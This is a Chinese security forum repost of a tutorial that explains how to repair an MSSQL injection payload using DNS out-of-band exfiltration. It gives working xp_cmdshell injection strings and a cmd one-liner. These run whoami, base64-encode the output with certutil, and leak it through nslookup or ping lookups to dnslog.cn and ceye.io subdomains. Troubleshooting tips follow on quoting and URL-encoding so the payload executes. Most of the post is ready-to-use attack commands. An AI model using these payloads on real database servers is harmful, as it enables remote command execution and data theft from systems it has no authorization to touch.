安全矩阵

 找回密码
 立即注册
搜索
查看: 1578|回复: 0

MSSQL注入DNS带外问题解决

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-7-27 23:10:00 | 显示全部楼层 |阅读模式
原文链接:MSSQL注入DNS带外问题解决


0x01 前言

朋友@Sin在“对某系统实战练手”这篇文章中看到这种MSSQL注入DNS带外数据的利用方式,但是他在本地复现时遇到了一些问题,所以找我帮着给测试一下,正好闲着没事就看了一下,并在解决这个问题后给他写了这篇记录文。

0x02 正文

我们先来看下原作者给出的DNS带外数据命令行版,可以直接执行并通过dnslog接收命令回显。继续来分析一下这条命令的参数和实现的功能吧,cmd参数说明如下。
  •         /c:执行字符串指定的命令然后终止,
  •         /v:使用 ! 作为分隔符启用延迟的环境变量。

  1. <code class="hljs">cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"</code>
复制代码



1、执行whoami命令写入到temp文件中,并使用certutil命令进行base64编码到temp2文件。
  1. whoami > temp && certutil -encode temp temp2
复制代码




2、使用findstr命令在temp2文件中搜索不包含"CERTIFICATE"的行内容写入到temp3文件,/L参数:按字使用搜索字符串,/V参数:只打印不包含匹配的行。
  1. findstr /L /V "CERTIFICATE" temp2 > temp3
复制代码




3、MYVAR变量等于temp3文件内容,FINAL变量等于MYVAR.DNSLOG,最后用nslookup命令执行FINAL变量,没有nslookup时可用ping替代,执行这条命令时必须加上cmd /v参数。

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="145" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22cGVudGVzdC13aW4xMFxzaGFkb3c5DQo%3D.xhwls9.dnslog.cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">cGVudGVzdC13aW4xMFxzaGFkb3c5DQo=.xhwls9.dnslog.cn</code></pre>
  2. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.1.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>



  3. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="144" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  4. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22set%C2%A0%2Fp%C2%A0MYVAR%3D%3C%C2%A0temp3%C2%A0%26%26%C2%A0set%C2%A0FINAL%3D!MYVAR!.xhwls9.dnslog.cn%C2%A0%26%26%C2%A0nslookup%C2%A0!FINAL!%5C%22%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xhwls9.dnslog.cn && nslookup !FINAL!"</code></pre></div>
复制代码




使用原作者给出的MSSQL注入DNS带外数据Payoad时出现了下图中的报错,笔者根据这个报错进行了一系列的测试,最终修改出以下可执行Payload,可以自己去对比一下它们之间的差别在哪。

修改之前:

  1. exec master..xp_cmdshell "whoami>C:\ProgramData\temp%26%26certutil -encode C:\ProgramData\temp C:\ProgramData\temp2%26%26findstr /L /V ""CERTIFICATE"" C:\ProgramData\temp2>C:\ProgramData\temp3";
  2. exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:\ProgramData\temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
  3. exec master..xp_cmdshell "del ""C:\ProgramData\temp"" ""C:\ProgramData\temp2"" ""C:\ProgramData\temp3""";
复制代码




修改之后:

  1. exec master..xp_cmdshell 'whoami>C:\ProgramData\temp %26%26 certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 %26%26 findstr /L /V "CERTIFICATE" C:\ProgramData\temp1>C:\ProgramData\temp2';
  2. exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< C:\ProgramData\temp2 %26%26 set FINAL=!MYVAR!.gnomur.dnslog.cn %26%26 ping !FINAL!""";
  3. exec master..xp_cmdshell 'del "C:\ProgramData\temp*"';
复制代码




0x03 注意事项

  •         CMD命令行下执行时直接用&&连接即可,而在URL提交时必须将&&用Urlencode进行编码;
  •         出现“开头的 标识符 太长。最大长度为 128”报错时可尝试将最外边的双引号改为单引号;
  •         第一条语句用findstr搜索"CERTIFICATE"字符串时必须用双引号,否则可能找不到指定字符;
  •         第一条语句注意查看temp2内容是否正确,如果不正确或为内容为空时将无法带出相关数据;
  •         第二条语句必须加上cmd的/v参数,否则可能即使不出现报错也无法带出相关数据;
  •         第二条语句最外边的引号必须用双引号,单引号即使不出现报错也无法带出相关数据。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-26 09:50 , Processed in 0.014974 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表